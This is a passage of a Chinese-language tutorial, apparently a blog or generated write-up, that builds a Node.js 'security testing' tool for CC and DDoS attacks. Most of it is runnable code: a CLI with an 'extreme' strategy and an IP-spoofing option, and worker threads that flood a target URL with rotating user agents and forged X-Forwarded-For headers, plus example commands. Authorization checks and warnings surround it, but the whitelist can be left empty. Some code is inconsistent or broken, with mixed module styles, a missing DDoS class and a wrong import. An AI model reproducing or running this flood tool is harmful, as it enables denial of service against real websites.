this.app = express();
this.statsCollector = statsCollector;
this.setupRoutes();
this.setupWebSocket();
}
setupRoutes() {
this.app.get('/stats', (req, res) => {
res.json(this.statsCollector.getAggregatedStats());
});
this.app.get('/logs', (req, res) => {
// 提供最近的日志条目
const logs = this._readRecentLogs();
res.json(logs);
});
}
setupWebSocket() {
const wss = new WebSocket.Server({ port: 8081 });
// 实时推送统计更新
this.statsCollector.on('stats_update', (stats) => {
wss.clients.forEach(client => {
if (client.readyState === WebSocket.OPEN) {
client.send(JSON.stringify({
type: 'STATS_UPDATE',
data: stats
}));
}
});
});
}
}🚨 错误分级与告警机制
分级错误处理
// src/utils/error-handler.js
const logger = require('./logger');
class ErrorHandler {
static handleError(error, context = {}) {
const errorContext = {
...context,
error: error.message,
stack: error.stack,
timestamp: new Date().toISOString()
};
// 根据错误类型分级处理
if (error.code === 'ECONNREFUSED' || error.code === 'ETIMEDOUT') {
logger.warn(errorContext, '网络连接错误');
} else if (error.code === 'ENOMEM') {
logger.error(errorContext, '内存不足,需要紧急处理');
this.triggerEmergencyStop();
} else if (error instanceof AuthorizationError) {
logger.error(errorContext, '授权验证失败');
process.exit(1);
} else {
logger.error(errorContext, '未预期的系统错误');
}
}
static triggerEmergencyStop() {
logger.fatal({ action: 'emergency_stop' }, '系统资源异常,触发紧急停止');
process.exit(1);
}
}📋 日志轮转与存储优化
生产环境日志管理
// scripts/log-rotation.js
const fs = require('fs');
const path = require('path');
const zlib = require('zlib');
class LogManager {
static rotateLogs() {
const logDir = process.env.LOG_DIR || './logs';
const files = fs.readdirSync(logDir);
files.forEach(file => {
if (file.endsWith('.log') && !file.includes('-')) {
const date = new Date().toISOString().split('T')[0];
const newFilename = file.replace('.log', `-${date}.log`);
// 重命名并压缩旧日志
fs.renameSync(path.join(logDir, file), path.join(logDir, newFilename));
const gzip = zlib.createGzip();
const input = fs.createReadStream(path.join(logDir, newFilename));
const output = fs.createWriteStream(path.join(logDir, `${newFilename}.gz`));
input.pipe(gzip).pipe(output).on('finish', () => {
fs.unlinkSync(path.join(logDir, newFilename));
});
}
});
}
}
// 每日执行日志轮转
setInterval(LogManager.rotateLogs, 24 * 60 * 60 * 1000);🔒 安全与合规日志
敏感信息脱敏
// src/utils/sanitizer.js
class LogSanitizer {
static sanitizeConfig(config) {
const sensitiveFields = ['password', 'apiKey', 'secret', 'token'];
const sanitized = { ...config };
sensitiveFields.forEach(field => {
if (sanitized[field]) {
sanitized[field] = '***REDACTED***';
}
});
return sanitized;
}
static sanitizeError(error) {
// 移除错误信息中的敏感路径信息
if (error.stack) {
error.stack = error.stack.replace(/(\/home\/[^\/]+\/)[^:]+/g, '$1***');
}
return error;
}
}本日志监控系统通过结构化日志记录、实时统计聚合和多级错误处理,为安全测试工具提供了完整的可观测性保障,同时确保敏感信息的安全性和操作的合规性。
七、合法性校验与安全加固
🔒 运行时合法性二次校验
在前序章节的输入验证基础上,本章引入运行时动态校验机制,确保攻击参数在执行过程中持续符合安全策略。
目标白名单深度校验
// src/security/target-validator.js
class TargetValidator {
static async validateTarget(targetUrl, config) {
// 1. 域名解析验证
const domain = new URL(targetUrl).hostname;
const resolvedIPs = await dns.promises.resolve(domain);
// 2. 企业级白名单匹配
const enterpriseWhitelist = config.get('security.enterpriseWhitelist') || [];
const isWhitelisted = enterpriseWhitelist.some(whitelistDomain =>
domain === whitelistDomain || domain.endsWith(`.${whitelistDomain}`)
);
if (!isWhitelisted && !['localhost', '127.0.0.1', 'test.example.com'].includes(domain)) {
throw new Error(`目标域名 ${domain} 不在授权白名单内`);
}
// 3. IP地址反向验证
const isInternalIP = resolvedIPs.some(ip =>
ip.startsWith('10.') || ip.startsWith('192.168.') || ip === '127.0.0.1'
);
if (isInternalIP && !config.get('security.allowInternalTargets')) {
throw new Error('禁止对内部网络地址进行测试');
}
return { domain, resolvedIPs, isWhitelisted };
}
}动态并发控制
基于系统负载的智能限流机制:
// src/security/concurrency-manager.js
class ConcurrencyManager {
constructor(maxConcurrent = 100) {
this.maxConcurrent = maxConcurrent;
this.currentConcurrent = 0;
this.systemLoadThreshold = 0.8; // 80%系统负载阈值
}
async acquireSlot() {
// 检查系统负载
const systemLoad = await this.getSystemLoad();
if (systemLoad > this.systemLoadThreshold) {
throw new Error(`系统负载过高 (${systemLoad.toFixed(2)}),暂停新连接`);
}
// 检查并发数
if (this.currentConcurrent >= this.maxConcurrent) {
throw new Error(`并发数已达上限 ${this.maxConcurrent}`);
}
this.currentConcurrent++;
return () => this.releaseSlot();
}
async getSystemLoad() {
const load = os.loadavg()[0] / os.cpus().length;
return load;
}
}⚡ 流量签名与审计追踪
请求签名机制
为每个攻击请求添加唯一标识,确保可追溯性:
// src/security/request-signer.js
class RequestSigner {
static signRequest(requestParams, sessionId) {
const timestamp = Date.now();
const nonce = crypto.randomBytes(16).toString('hex');
const signatureData = {
sessionId,
timestamp,
nonce,
target: requestParams.target,
attackType: requestParams.attackType
};
const signature = crypto
.createHmac('sha256', process.env.REQUEST_SIGNATURE_KEY)
.update(JSON.stringify(signatureData))
.digest('hex');
return {
...requestParams,
headers: {
...requestParams.headers,
'X-Security-Test-ID': sessionId,
'X-Request-Signature': signature,
'X-Timestamp': timestamp,
'X-Nonce': nonce
}
};
}
}完整审计日志
// src/security/audit-logger.js
class AuditLogger {
static logSecurityEvent(eventType, details) {
const auditLog = {
timestamp: new Date().toISOString(),
eventType,
userId: process.env.USER_ID || 'system',
sessionId: details.sessionId,
target: details.target,
severity: this.getEventSeverity(eventType),
details: this.sanitizeDetails(details)
};
// 结构化日志记录
logger.info('SECURITY_AUDIT', auditLog);
// 实时告警(针对高危事件)
if (auditLog.severity === 'HIGH') {
this.triggerAlert(auditLog);
}
}
static sanitizeDetails(details) {
// 深度脱敏处理
const sanitized = { ...details };
['password', 'apiKey', 'token', 'cookie'].forEach(field => {
if (sanitized[field]) {
sanitized[field] = '***REDACTED***';
}
});
return sanitized;
}
}🛡️ 自动熔断与恢复机制
智能熔断器实现
// src/security/circuit-breaker.js
class CircuitBreaker {
constructor(options = {}) {
this.failureThreshold = options.failureThreshold || 5;
this.successThreshold = options.successThreshold || 2;
this.timeout = options.timeout || 10000;
this.failureCount = 0;
this.successCount = 0;
this.state = 'CLOSED';
this.nextAttempt = Date.now();
}
async execute(asyncFn) {
if (this.state === 'OPEN') {
if (Date.now() < this.nextAttempt) {
throw new Error('熔断器开启,请求被拒绝');
}
this.state = 'HALF_OPEN';
}
try {
const result = await asyncFn();
this.onSuccess();
return result;
} catch (error) {
this.onFailure();
throw error;
}
}
onSuccess() {
this.failureCount = 0;
if (this.state === 'HALF_OPEN') {
this.successCount++;
if (this.successCount > this.successThreshold) {
this.state = 'CLOSED';
this.successCount = 0;
}
}
}
onFailure() {
this.failureCount++;
if (this.failureCount >= this.failureThreshold) {
this.state = 'OPEN';
this.nextAttempt = Date.now() + this.timeout;
}
}
}资源硬性限制
通过 cgroup 和 ulimit 实现系统级防护:
// src/security/resource-limiter.js
class ResourceLimiter {
static setupHardLimits() {
// 内存限制
const maxMemory = process.env.MAX_MEMORY_MB || 512;
if (process.platform === 'linux') {
this.setupCgroupLimits(maxMemory);
}
// 文件描述符限制
try {
process.setrlimit(process.RLIMIT_NOFILE, {
soft: 1024,
hard: 4096
});
} catch (error) {
logger.warn('无法设置文件描述符限制', error);
}
}
static setupCgroupLimits(maxMemoryMB) {
// 实际环境中应使用cgroup fs操作
logger.info(`设置内存限制: ${maxMemoryMB}MB`);
}
}📊 合规报告生成
测试报告自动生成
// src/security/compliance-reporter.js
class ComplianceReporter {
static generateTestReport(sessionData, attackResults) {
const report = {
meta: {
reportId: crypto.randomUUID(),
generatedAt: new Date().toISOString(),
toolVersion: process.env.npm_package_version,
tester: process.env.TESTER_ID || 'anonymous'
},
authorization: {
authorizedBy: sessionData.authorizedBy,
testScope: sessionData.testScope,
validFrom: sessionData.validFrom,
validTo: sessionData.validTo
},
testSummary: {
totalRequests: attackResults.totalRequests,
successfulRequests: attackResults.successfulRequests,
failedRequests: attackResults.failedRequests,
averageResponseTime: attackResults.avgResponseTime,
peakConcurrency: attackResults.peakConcurrency
},
securityEvents: AuditLogger.getSessionEvents(sessionData.sessionId),
compliance: this.checkCompliance(sessionData, attackResults)
};
return this.formatReport(report);
}
static checkCompliance(sessionData, attackResults) {
const violations = [];
// 检查测试时间窗口
if (new Date() > new Date(sessionData.validTo)) {
violations.push('测试超出授权时间范围');
}
// 检查请求频率合规性
if (attackResults.requestsPerSecond > sessionData.maxRPS) {
violations.push(`请求频率超出限制: ${attackResults.requestsPerSecond} > ${sessionData.maxRPS}`);
}
return {
isCompliant: violations.length === 0,
violations,
checkedAt: new Date().toISOString()
};
}
}🔐 高级安全配置
安全配置中心
// src/config/security.js
const securityConfig = {
// 证书验证
ssl: {
verifyCertificates: process.env.VERIFY_SSL !== 'false',
minTLSVersion: process.env.MIN_TLS_VERSION || 'TLSv1.2',
allowedCiphers: [
'TLS_AES_128_GCM_SHA256',
'TLS_AES_256_GCM_SHA384',
'TLS_CHACHA20_POLY1305_SHA256'
]
},
// 网络安全
network: {
dnsOverTLS: process.env.DNS_OVER_TLS === 'true',
proxyValidation: process.env.VALIDATE_PROXY !== 'false',
timeout: parseInt(process.env.NETWORK_TIMEOUT) || 30000
},
// 数据保护
dataProtection: {
encryptLogs: process.env.ENCRYPT_LOGS === 'true',
logRetentionDays: parseInt(process.env.LOG_RETENTION_DAYS) || 30,
autoPurgeSensitiveData: true
}
};
module.exports = securityConfig;🚨 紧急响应机制
一键紧急停止
// src/security/emergency-stop.js
class EmergencyStop {
constructor() {
this.isStopped = false;
this.setupSignalHandlers();
}
setupSignalHandlers() {
// SIGINT (Ctrl+C)
process.on('SIGINT', () => this.gracefulShutdown('SIGINT'));
// 自定义紧急停止信号
process.on('SIGUSR2', () => this.immediateShutdown('SIGUSR2'));
// 未捕获异常
process.on('uncaughtException', (error) => {
logger.error('未捕获异常,触发紧急停止', error);
this.immediateShutdown('UNCAUGHT_EXCEPTION');
});
}
async gracefulShutdown(reason) {
if (this.isStopped) return;
this.isStopped = true;
logger.warn(`开始优雅停止: ${reason}`);
// 停止接受新请求
AttackScheduler.pause();
// 等待进行中的请求完成
await this.waitForPendingRequests(30000);
// 生成最终报告
await ComplianceReporter.generateFinalReport();
process.exit(0);
}
immediateShutdown(reason) {
logger.error(`立即停止: ${reason}`);
AuditLogger.logSecurityEvent('EMERGENCY_SHUTDOWN', { reason });
process.exit(1);
}
}通过本章的合法性校验与安全加固措施,工具在运行时具备了完整的合规性验证、安全防护和审计追踪能力,确保所有测试活动都在授权范围内安全进行。
八、完整可运行代码与使用示例
项目结构与核心文件
package.json
{
"name": "security-test-tool",
"version": "1.0.0",
"description": "Node.js网站安全测试工具(CC/DDoS攻击模拟)",
"type": "module",
"bin": {
"security-test": "./src/cli/index.js"
},
"scripts": {
"start": "node src/cli/index.js",
"test": "npm audit && npx snyk test",
"audit": "npm audit --audit-level moderate"
},
"dependencies": {
"yargs": "^17.7.2",
"inquirer": "^9.2.16",
"pino": "^9.3.1",
"pino-pretty": "^11.2.1",
"axios": "^1.7.2",
"worker-threads-pool": "^2.0.0",
"rate-limiter-flexible": "^4.0.1",
"helmet": "^7.1.0",
"bcrypt": "^5.1.1",
"dotenv": "^16.4.5"
},
"keywords": ["security", "testing", "ddos", "cc", "penetration"],
"author": "Security Team",
"license": "MIT"
}src/cli/index.js
#!/usr/bin/env node
import yargs from 'yargs';
import { hideBin } from 'yargs/helpers';
import inquirer from 'inquirer';
import { AttackFactory } from '../attacks/attack-factory.js';
import { logger } from '../utils/logger.js';
import { SecurityValidator } from '../security/validator.js';
const argv = yargs(hideBin(process.argv))
.option('target', {
alias: 't',
describe: '目标网站URL',
type: 'string',
demandOption: true
})
.option('attack-type', {
alias: 'a',
describe: '攻击类型',
choices: ['cc', 'ddos'],
demandOption: true
})
.option('duration', {
alias: 'd',
describe: '持续时间(分钟)',
type: 'number',
default: 5
})
.option('concurrency', {
alias: 'c',
describe: '并发数',
type: 'number',
default: 10
})
.option('packet-size', {
alias: 's',
describe: '数据包大小(字节)',
type: 'number',
default: 1024
})
.option('frequency', {
alias: 'f',
describe: '请求频率(次/秒)',
type: 'number',
default: 10
})
.option('ip-spoofing', {
describe: '启用IP欺骗',
type: 'boolean',
default: false
})
.option('strategy', {
describe: '预设策略',
choices: ['gentle', 'standard', 'extreme'],
default: 'standard'
})
.example('security-test -t http://example.com -a cc -d 10 -c 50', 'CC攻击示例')
.example('security-test -t https://api.example.com -a ddos --strategy extreme', 'DDoS极限测试')
.epilogue('⚠️ 仅限授权安全测试使用!')
.parse();
async function main() {
try {
// 合法性校验
const validator = new SecurityValidator();
await validator.validateTarget(argv.target);
// 策略映射
const strategyConfig = mapStrategy(argv.strategy);
const config = { ...strategyConfig, ...argv };
// 确认提示
const answers = await inquirer.prompt([{
type: 'confirm',
name: 'proceed',
message: `确认对 ${argv.target} 执行${argv.attackType.toUpperCase()}攻击?`,
default: false
}]);
if (!answers.proceed) {
logger.info('用户取消操作');
process.exit(0);
}
// 创建并执行攻击
const attack = AttackFactory.createAttack(argv.attackType, config);
await attack.execute();
} catch (error) {
logger.error({ error }, '攻击执行失败');
process.exit(1);
}
}
function mapStrategy(strategy) {
const strategies = {
gentle: { concurrency: 5, frequency: 5, duration: 2 },
standard: { concurrency: 20, frequency: 15, duration: 5 },
extreme: { concurrency: 100, frequency: 50, duration: 10 }
};
return strategies[strategy] || strategies.standard;
}
main();src/attacks/attack-factory.js
import { CCAttack } from './cc-attack.js';
import { DDoSAttack } from './ddos-attack.js';
export class AttackFactory {
static createAttack(type, config) {
switch (type) {
case 'cc':
return new CCAttack(config);
case 'ddos':
return new DDoSAttack(config);
default:
throw new Error(`不支持的攻击类型: ${type}`);
}
}
}src/attacks/cc-attack.js
import { Worker } from 'worker_threads';
import { cpus } from 'os';
import { logger } from '../utils/logger.js';
import { StatsCollector } from '../utils/stats-collector.js';
export class CCAttack {
constructor(config) {
this.config = config;
this.workers = [];
this.statsCollector = new StatsCollector();
this.isRunning = false;
}
async execute() {
this.isRunning = true;
logger.info({ config: this.config }, '开始CC攻击');
const numWorkers = Math.min(cpus().length, this.config.concurrency);
// 启动Worker线程池
for (let i = 0; i < numWorkers; i++) {
const worker = new Worker('./src/workers/cc-worker.js', {
workerData: { ...this.config, workerId: i }
});
worker.on('message', (msg) => {
this.statsCollector.recordRequest(msg);
});
worker.on('error', (error) => {
logger.error({ error, workerId: i }, 'Worker执行错误');
});
this.workers.push(worker);
}
// 实时监控
const monitorInterval = setInterval(() => {
const stats = this.statsCollector.getStats();
logger.info(stats, '实时统计');
// 进度显示
const progress = (stats.elapsed / (this.config.duration * 60)) * 100;
console.log(`进度: ${progress.toFixed(1)}% | 成功率: ${stats.successRate}%`);
}, 2000);
// 超时停止
setTimeout(async () => {
await this.stop();
clearInterval(monitorInterval);
this.generateReport();
}, this.config.duration * 60 * 1000);
}
async stop() {
this.isRunning = false;
for (const worker of this.workers) {
await worker.terminate();
}
logger.info('CC攻击已停止');
}
generateReport() {
const finalStats = this.statsCollector.getStats();
logger.info(finalStats, '攻击完成报告');
// 生成JSON报告文件
const report = {
timestamp: new Date().toISOString(),
target: this.config.target,
attackType: 'cc',
summary: finalStats,
securityChecks: this.config.securityChecks || []
};
console.log(JSON.stringify(report, null, 2));
}
}src/workers/cc-worker.js
import { parentPort, workerData } from 'worker_threads';
import axios from 'axios';
import { RateLimiter } from 'rate-limiter-flexible';
class CCWorker {
constructor(config) {
this.config = config;
this.limiter = new RateLimiter({
points: config.frequency,
duration: 1
});
this.userAgents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
];
}
async start() {
while (true) {
try {
await this.limiter.consume(1);
await this.sendRequest();
} catch (error) {
parentPort.postMessage({
type: 'error',
error: error.message,
timestamp: Date.now()
});
}
}
}
async sendRequest() {
const headers = {
'User-Agent': this.getRandomUserAgent(),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
};
if (this.config.ipSpoofing) {
headers['X-Forwarded-For'] = this.generateFakeIP();
headers['X-Real-IP'] = this.generateFakeIP();
}
const startTime = Date.now();
try {
const response = await axios.get(this.config.target, {
headers,
timeout: 5000
});
parentPort.postMessage({
type: 'success',
duration: Date.now() - startTime,
statusCode: response.status,
timestamp: startTime
});
} catch (error) {
parentPort.postMessage({
type: 'failure',
duration: Date.now() - startTime,
error: error.code,
timestamp: startTime
});
}
}
getRandomUserAgent() {
return this.userAgents[Math.floor(Math.random() * this.userAgents.length)];
}
generateFakeIP() {
return `192.168.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`;
}
}
const worker = new CCWorker(workerData);
worker.start();src/utils/logger.js
import pino from 'pino';
export const logger = pino({
level: process.env.LOG_LEVEL || 'info',
transport: {
target: 'pino-pretty',
options: {
colorize: true,
translateTime: 'SYS:standard'
}
}
});
src/security/validator.js
import { logger } from '../utils/logger.js';
export class SecurityValidator {
constructor() {
this.whitelist = process.env.AUTHORIZED_TARGETS?.split(',') || [];
this.blacklistIPs = ['127.0.0.1', 'localhost', '192.168.', '10.', '172.16.'];
}
async validateTarget(target) {
const url = new URL(target);
// 白名单校验
if (this.whitelist.length > 0 && !this.whitelist.includes(url.hostname)) {
throw new Error(`目标域名 ${url.hostname} 不在授权白名单中`);
}
// 内网IP检测
if (this.isPrivateIP(url.hostname)) {
throw new Error('禁止测试内部网络地址');
}
// 生产环境检测
if (process.env.NODE_ENV === 'production') {
throw new Error('生产环境禁止执行安全测试');
}
logger.info({ target }, '目标验证通过');
}
isPrivateIP(hostname) {
return this.blacklistIPs.some(ip => hostname.startsWith(ip));
}
}使用示例
基础 CC 攻击测试
security-test -t http://test.example.com -a cc -d 5 -c 20 -f 30DDoS 极限压力测试
security-test -t https://api.example.com -a ddos --strategy extreme --ip-spoofing交互式配置测试
security-test -t http://demo.example.com -a cc --strategy gentle带环境变量的生产级测试
export AUTHORIZED_TARGETS="test.example.com,demo.example.com"
export LOG_LEVEL=debug
security-test -t http://test.example.com -a cc -d 10 -c 50输出示例
实时监控输出
[2024-01-15 10:30:25] INFO: 开始CC攻击 {"config":{"target":" http://test.example.com ","attackType":"cc","duration":5}}
[2024-01-15 10:30:27] INFO: 实时统计 {"totalRequests":150,"successfulRequests":145,"failedRequests":5,"successRate":96.7}
进度: 10.0% | 成功率: 96.7%最终报告输出
{
"timestamp": "2024-01-15T10:35:25.000Z",
"target": " http://test.example.com ",
"attackType": "cc",
"summary": {
"totalRequests": 4500,
"successfulRequests": 4320,
"failedRequests": 180,
"successRate": 96.0,
"averageResponseTime": 245,
"peakRPS": 35
},
"securityChecks": [
"目标域名验证通过",
"内网IP检测通过",
"生产环境检测通过"
]
}重要注意事项
合法使用:仅限授权范围内的安全测试,严禁非法攻击
环境隔离:在专用测试环境中运行,避免影响生产系统
资源监控:实时监控系统资源使用情况,避免过度消耗
紧急停止:支持 Ctrl+C 优雅停止和 SIGUSR2 强制终止
审计追踪:所有操作记录详细日志,便于后续审计分析
该工具提供了完整的企业级安全测试能力,同时通过多重安全校验确保合规使用。